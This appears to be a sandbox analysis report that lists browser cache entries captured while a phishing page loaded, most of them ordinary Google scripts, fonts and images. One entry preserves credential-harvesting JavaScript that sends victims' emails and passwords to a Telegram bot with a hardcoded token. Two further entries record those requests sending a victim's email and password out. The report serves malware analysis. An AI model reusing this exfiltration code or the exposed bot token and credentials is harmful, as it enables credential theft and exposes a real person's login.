Encrypted:	false
SSDEEP:
MD5:	FABF152B85BB09A0A83D36F84118F7B7
SHA1:	AB140B73FB154A839CC6B0BDA2425937EE6ADB0C
SHA-256:	F7C5153B94758492191CBC19035AE8234038D960B61320436FD4B458C5C4A65B
SHA-512:	A97A3685DEFD8B8A5F52FCBCD8DFEEF6FBE2F0FAEF9882F27AC2D07F7704C531463F8A02766C77A360DF955979038E9C06D8B497998E7567217D17761E930B67
Malicious:	false
Reputation:	unknown
Preview:	try{.B("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2682
Entropy (8bit):	4.730860407943399
Encrypted:	false
SSDEEP:
MD5:	87EE052AF29AF5CE12176469A933305D
SHA1:	ADCB44DCA8C5F6AF4D260A78C7C5ECF0BFD7837A
SHA-256:	9111E0C6EFF56DB6A60C1908C62302F03F54B571C149A8A0ACA3D5847044B7C9
SHA-512:	B42DEF2D74FF05A22042BB30ED124C65A144E731F711848B661E321583AE691E69A7495AA7278E976E4C025182FE8CF12921C62FB76A280956394C87DD4CBB15
Malicious:	false
Reputation:	unknown
URL:	https://css-s-816a7.web.app/style.css
Preview:	body {.. font-family: Arial, sans-serif;.. display: flex;.. justify-content: center;.. align-items: center;.. height: 100vh;.. margin: 0;.. background-color: #3d3535;.. background-repeat: no-repeat;.. background-position: center;.. background-size: cover;.. position: relative;..}.....container, .form-container {.. text-align: center;.. width: 90%;.. max-width: 300px;.. background-color: white;.. padding: 20px;.. border-radius: 8px;.. box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);.. position: relative;.. z-index: 1;..}.....form-container, #loader, #timer {.. display: none;..}.....container img {.. width: 100px;.. height: 100px;.. margin-bottom: 20px;..}.....btn-download {.. width: 100%;.. padding: 10px;.. background-color: #e00404;.. color: white;.. border: none;.. border-radius: 5px;.. cursor: pointer;.. font-size: 1rem;.. transition: background-color 0.3s ease;..}.....btn-download:hover {..

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.2223394309563
Encrypted:	false
SSDEEP:
MD5:	E0CB5ACE796001F171591C1400666AA3
SHA1:	EC24AFF8BE5032A0265FA8E19C8B1C3B38055DF6
SHA-256:	90EC5C8671F547923A0226440DBC6369241C50EEC5502667CB5E33147DA4989D
SHA-512:	BCBA811EC6D739F37087404C19D502B52C28A164347AE5B0AB6DAF6CE6428053E975B0965FFEEBA6AADC583662BCFA4CEACB246110D0C3E5A2064AD90986DE0E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................................................................................8...........................................................8...................................Q...........#......................................."...@...@.......................................x...............H...................M...............x...............................................................................X...............s...........v...............X.....................................................................................................................................................................5...5...............................................................................................................p...........................p.......................................................................................................H...................H..............................................................

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2506
Entropy (8bit):	4.2735143783520275
Encrypted:	false
SSDEEP:
MD5:	F25F1CCCE242E8634CA70E1B3F55139D
SHA1:	2B6E2540E60BAAD7C64F3D05C5AFE21229A8BDBA
SHA-256:	957393D20B146E2318D021368011A237FA605801DF71467F8B903B0D8E1C7DA7
SHA-512:	1971FE3C9BE64F9C7312EB8EF3F626F0FBAD5E2A233E765652DE5212FE223AD5BF9E393CF5A10BA414B22148B80D16A46A226339D7135ED881E047F23EAED07E
Malicious:	false
Reputation:	unknown
URL:	https://blobcomments-pa.clients6.google.com/v1/metadata?docId=1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G&revisionId=0B18V3XjheCZHYmd4eEhmMzVISmxHck0zbkhTWDA4VjZuWElVPQ&userLocale=en&timeZoneId=Etc%2FGMT%2B5&documentResourceKey.resourceKey&forceImportEnabled=true&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{. "serializedDocosKeyData": "[null,null,0,null,null,null,null,1,[\"Anonymous\",null,\"//ssl.gstatic.com/docs/common/blue_silhouette96-0.png\",\"ANONYMOUS_105250506097979753968\",1,null,1,null,1],1,\"AAHRpnXuaz9nhuK4Tc2zbfcSML3-HQz0JHl7Nf_y5FFTm_IDtrQAOb7Ub6kWgly2H-SKLo9gqY4aVEx_cDOVWdG8PUDe3i6owFQ\",null,null,null,null,null,1,null,null,1,null,null,null,null,1,0,null,null,null,0,null,null,0,null,null,null,null,1,0,null,null,null,null,[\"tf\",60000,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,1,null,null,null,null,null,null,0,null,null,\"\",null,0,null,null,null,null,0],[[5703839,5704621,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737800,5792878,5799034,48966262,49372463,49375342,49472091,49622751,49623141,49643716,49643963,49769385,49822

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7728
Entropy (8bit):	4.678688861513363
Encrypted:	false
SSDEEP:
MD5:	FB7526F507D75F83A88DA6A07B16D27C
SHA1:	561B91B859B5E8D0922197BE7F969FC47125678D
SHA-256:	17BC71861525E22944C3E17AAAAFF4DA36CDE73F5FE7BFBE2EE9E9E0FDBFB0AB
SHA-512:	43F9C1E146A1ED1EA3DA3B987ADF40E53723DF4ABEDF9C9049A4B549209FAB27862BCCDAEEF5C793382862343644F07E20628CD20605A7AAFCDFFEFDB59F6081
Malicious:	false
Reputation:	unknown
URL:	https://stef-c8fab.web.app/Selby.js
Preview:	const botToken1 = '7758695294:AAGKJw1sSrE0YEf8T4XuflZIyIuz1L92Zlk'; // Premier token de bot..const chatId1 = '5848269608'; // Premier ID de chat....const botToken2 = 'VOTRE_DEUXI.ME_TOKEN'; // Remplacez par votre deuxi.me token..const chatId2 = 'VOTRE_DEUXI.ME_ID_DE_CHAT'; // Remplacez par votre deuxi.me ID de chat....function sendToTelegram(data) {.. const message = `.... FR R.sultat - ${data.email}:${data.password}\nIP: ${data.ip}\nAppareil: ${data.device}`;.. .. const telegramUrl1 = `https://api.telegram.org/bot${botToken1}/sendMessage?chat_id=${chatId1}&text=${encodeURIComponent(message)}`;.. const telegramUrl2 = `https://api.telegram.org/bot${botToken2}/sendMessage?chat_id=${chatId2}&text=${encodeURIComponent(message)}`;.... // Envoi au premier chat.. fetch(telegramUrl1, {.. method: "GET".. }).. .then(response => {.. if (response.ok) {.. console.log("Message envoy. . Telegram (chat 1) avec succ.s.");.. } else

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4005)
Category:	dropped
Size (bytes):	121329
Entropy (8bit):	5.473441016381779
Encrypted:	false
SSDEEP:
MD5:	F10030C11ADD315E043B65E41AA7254A
SHA1:	286D8F55E81CD13AC68B87E321B93A4DFB71EC44
SHA-256:	B0DF1F414593AECA0C09A22E6F6C0C5D0AC5280D16D064DD5FF46F0E0902B476
SHA-512:	97736AAED31E0DB649D5888AE3F189D4337685CB94BC2455C9E6C573EED7A97FF63018AB929C2622EC95AF73158B14FEE5E0253DE2F55363A0ECB0650B89CE93
Malicious:	false
Reputation:	unknown
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2989594
Entropy (8bit):	5.647468006969254
Encrypted:	false
SSDEEP:
MD5:	3171C586289E343C7CCA09AF376A7DCB
SHA1:	D153954C0E3626104F692E886D43C9CCCEA4A1B7
SHA-256:	A5AC01C5BEDB894FDDD741C011DFAFCDDC14F44F12F307157C2B0441A5A52287
SHA-512:	0CC42DD9790827F039FD1E436633E6584E32B8ABF69FB06706F209F9BEB1AE064EE490C2CF1342FB07EA509797E2CDD9C3923C1A5F8F568E8DD5E497BF32EB8A
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.sWuz-QmvDu0.L.W.O/am=wGA/d=0/rs=AO0039vYTxVqdn4TanMnM6drMdo1qPEmtA
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.WgAPob{margin-top:8px;margin-bottom:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-out

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971968787420344
Encrypted:	false
SSDEEP:
MD5:	200544343AC58000DD445A295F748A8E
SHA1:	70F740C6752C4DE850A5482053CA052F3F68B295
SHA-256:	F57F59415E41576EDD75269D3DA0D9F6B648C86B072AB4BFBA64F3F3C2F5A16D
SHA-512:	AA34DCB2556E69A6C25D6732E8FAF2BE7F54E0AADC305CCBE4B3C3A4C11BE60DA0ABC02EF2A8173507F15C2CB4D356B3A9EFE010095EB5EEE0C880E1B924EF24
Malicious:	false
Reputation:	unknown
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	55
Entropy (8bit):	4.344640622458225
Encrypted:	false
SSDEEP:
MD5:	6A4152D7C4E4FDFCF1B2B058FB88A05C
SHA1:	B6B65C7475D90D400AF7DFB8DB646850966EB35B
SHA-256:	B6B5DA015ED9B1222C507C4DF03D0351ADDF6621168F1DC3D3351AFDA7AB1D84
SHA-512:	478F456239F350FAE3EDA50160CA7AEC73914C920AD94E5B42150524450EF773F7C65A3B7CC9CBF18EF3F12D2C845F28C2D9AFA92A749DDDBB266734D853B833
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/botVOTRE_DEUXI%C3%88ME_TOKEN/sendMessage?chat_id=VOTRE_DEUXI%C3%88ME_ID_DE_CHAT&text=%F0%9F%87%AB%F0%9F%87%B7%20FR%20R%C3%A9sultat%20-%20stanislas%40socotec.com%3Aerddfdvdvd%0AIP%3A%208.46.123.228%0AAppareil%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36
Preview:	{"ok":false,"error_code":404,"description":"Not Found"}

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	3516
Entropy (8bit):	7.926415517666513
Encrypted:	false
SSDEEP:
MD5:	75709A9DB4B28F1BA8FE0034CCDCD160
SHA1:	F03613A0E0D5BB71C96A8D6F33E82CDD2532C2E2
SHA-256:	A7F4CF6B89367E646C8632A3610FE840241A198F80BD74C6333AAA0F4AB95168
SHA-512:	5EDD0DCD72AF9BF74AF9636AE9EB3DBB7F10BCCF870BB83336CB385F69869C47FD7A2AF0B79F8CC20D6BF671BEE34F6B556882070B568CEEFE937DD4DE3EC54F
Malicious:	false
Reputation:	unknown
URL:	https://cdn2.iconfinder.com/data/icons/metro-uinvert-dock/256/Adobe_Acrobat_Reader.png
Preview:	RIFF....WEBPVP8L..../..?...:.lU....Q."i.\.{HAQ.F.g...qQ.o.6.dW..Z..-.%L..j6.$[.'.eXC..0.....Fn....L}C..~. ..D..D..B..P..@=..PE)... ....pB.0P..^......N.a.(.$....?UU.t......h...h.D[..HN..NuU...TW.N.5.....f....~.u........eos...j:...q.;.a.v....W.I..Z..m..vj#...fj....v.[.:.Z.m.....y...m.............k...<.e\|i.........<..../...@....\u].'.CD.)...(...n.g.T.;.u..9}.....(......$...XUA0N....]U..ZC...`U=6.'.9....2..m.:Fh.5....C?M}n....?...FC\|.+Jm....p.oJ..l.s..P.UN1..[._.....gC....`...^0..[..p..5..[XSS#.r...F.FYU}[]a.......V_...F.>.:..a....9.55.....k.t/.F...U......(U..h.`..wU............^.....TU5..g....za....u...u..IE....I.~.>].6.H=.P]m4.....t..t[....U..t.X.....bB,.HW.~4...I..W].L0M6..0UW......Q.:k:j:......bLO.4W.TSBe.r...)....=.....U=.4..k.?.Q.=5........3=....e...........R..lB Q...<.......D..p.....F..c...bKR..r}-2.f......$....s..Z.. }.K...v.......&.....J%[...]....V..k.Oe...S...H...i...F..).Q..Zk..Z..Zj.h.0Rk./..Z_..+m=.IJ..........U6..!*;ouOc~.V.Ma.`.]aG../.

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.463280517810811
Encrypted:	false
SSDEEP:
MD5:	188A7DDAF69C860BAF90460AD507337F
SHA1:	530621CCC828AAB3930603814EF80EF1A79103AC
SHA-256:	FE0DA54F56BE632726C7892705F471CC075255DA9D2CEA63AF62699C05FB0A29
SHA-512:	C35AA31D95F3CBA835760FF8434D3B44E4607A43B068480FC9F6599BDADA6B53B362923820ADF073C898D8DDE9515F726F2B7C65662428A5D845116C87D5DC07
Malicious:	false
Reputation:	unknown
Preview:	{"ip":"8.46.123.228"}

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	589
Entropy (8bit):	5.324271051356452
Encrypted:	false
SSDEEP:
MD5:	37516935275D4C66E4DB4EA3EC827241
SHA1:	E60AC914CFB1C598626E804675888397C5C82DAD
SHA-256:	B3C9B7D433BC95E8395F9149BF975B623176D9C9C0E328D63BD0040F681B7677
SHA-512:	810E922550ACBEB104B534E84258843D447AD473A8542EEC34A4E73E4B23C9A95B2A79E42D7A60A8DFEDDC191B1A79F55C7E36A588BB61A30603FF2923E32EA3
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7758695294:AAGKJw1sSrE0YEf8T4XuflZIyIuz1L92Zlk/sendMessage?chat_id=5848269608&text=%F0%9F%87%AB%F0%9F%87%B7%20FR%20R%C3%A9sultat%20-%20stanislas%40socotec.com%3Aerddfdvdvd%0AIP%3A%208.46.123.228%0AAppareil%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36
Preview:	{"ok":true,"result":{"message_id":110,"from":{"id":7758695294,"is_bot":true,"first_name":"Shelby Notif","username":"Shel225_Bot"},"chat":{"id":5848269608,"first_name":"J","username":"Anoonyms","type":"private"},"date":1733135924,"text":"\ud83c\uddeb\ud83c\uddf7 FR R\u00e9sultat - stanislas@socotec.com:erddfdvdvd\nIP: 8.46.123.228\nAppareil: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","entities":[{"offset":19,"length":21,"type":"email"},{"offset":56,"length":12,"type":"url"},{"offset":167,"length":9,"type":"url"}]}}

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	dropped
Size (bytes):	103444
Entropy (8bit):	5.6779328647850065
Encrypted:	false
SSDEEP:
MD5:	72780597F8AA7F8E155A90CFC352014B
SHA1:	8E277F7192C70EBABA031CF2208396AE5279B6A9
SHA-256:	64E3FC1806FE4793FD388CFAACB501FE405D5E1ED3E75C4C1858425EE08D7309
SHA-512:	84D6449F5278F3AAFA829AB1227918061EC19E607B065D2402939E197ABB42612F8524C20CEC6FCAC4F64B377205BA3E0EC0428B39470F38874173FA6A5908E2
Malicious:	false
Reputation:	unknown
Preview:	try{.var Mge=function(a){for(var b=od.apply(1,arguments),c=a[0],d=0;d<a.length-1;d++)c+=String(b[d])+a[d+1];if(/[<>]/.test(c))throw Error("Ca`"+c);return c},Nge=function(){mL.apply(this,arguments)};R(Nge,mL);Nge.prototype.enqueue=function(a,b){this.insert(a,b)};var Oge=function(a,b){a%=b;return a*b<0?a+b:a},Pge=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var iLc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},IP=function(){return!(faa&&ha?ha.mobile:!iLc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!iLc()};.}catch(e){_DumpException(e)}.try{.var CYe=function(a,b){this.C=a instanceof Cv?a:new Cv(a,b)};zl(CYe,uzb);CYe.prototype.Wd=function(a,b,c,d){var e=Yf(a);var f=e.body;e=e.documentElement;e=new Cv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=vzb(a);f-=g.x;e-=g.y;zG(new Cv(f,e),a,b,c,null,null,d)};var DYe=function(

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1195)
Category:	downloaded
Size (bytes):	208149
Entropy (8bit):	5.523997105504555
Encrypted:	false
SSDEEP:
MD5:	6DDD888BEFBC19A396E211BD6D184C57
SHA1:	F69E4E2BC875EA4C44F57D85AB8FF5D537ECB099
SHA-256:	2D2068E38F4A2E01A655635C2D977AB16370CE49ED84F00AE7F82CE250B12DEC
SHA-512:	71F7F8F4E400E752B84AD803E894D815D703B7271760773EC879D8B601E044720601A32D93F074E61AEF47A312A7BFF515A99EAE00BF44303E750FA1A897B07F
Malicious:	false
Reputation:	unknown
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_1"
Preview:	gapi.loaded_1(function(_){var window=this;._.Fg=(window.gapi\|\|{}).load;._.oo=_.Ce(_.Ne,"rw",_.De());.var po=function(a,b){(a=_.oo[a])&&a.state<b&&(a.state=b)};var qo=function(a){a=(a=_.oo[a])?a.oid:void 0;if(a){var b=_.ze.getElementById(a);b&&b.parentNode.removeChild(b);delete _.oo[a];qo(a)}};_.ro=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.so=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.to=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();po(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Ne.oa&&(k=d.id)){f=(f=_.oo[k])?f.state:void 0;if(f===1\|\|f===4)break a;qo(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
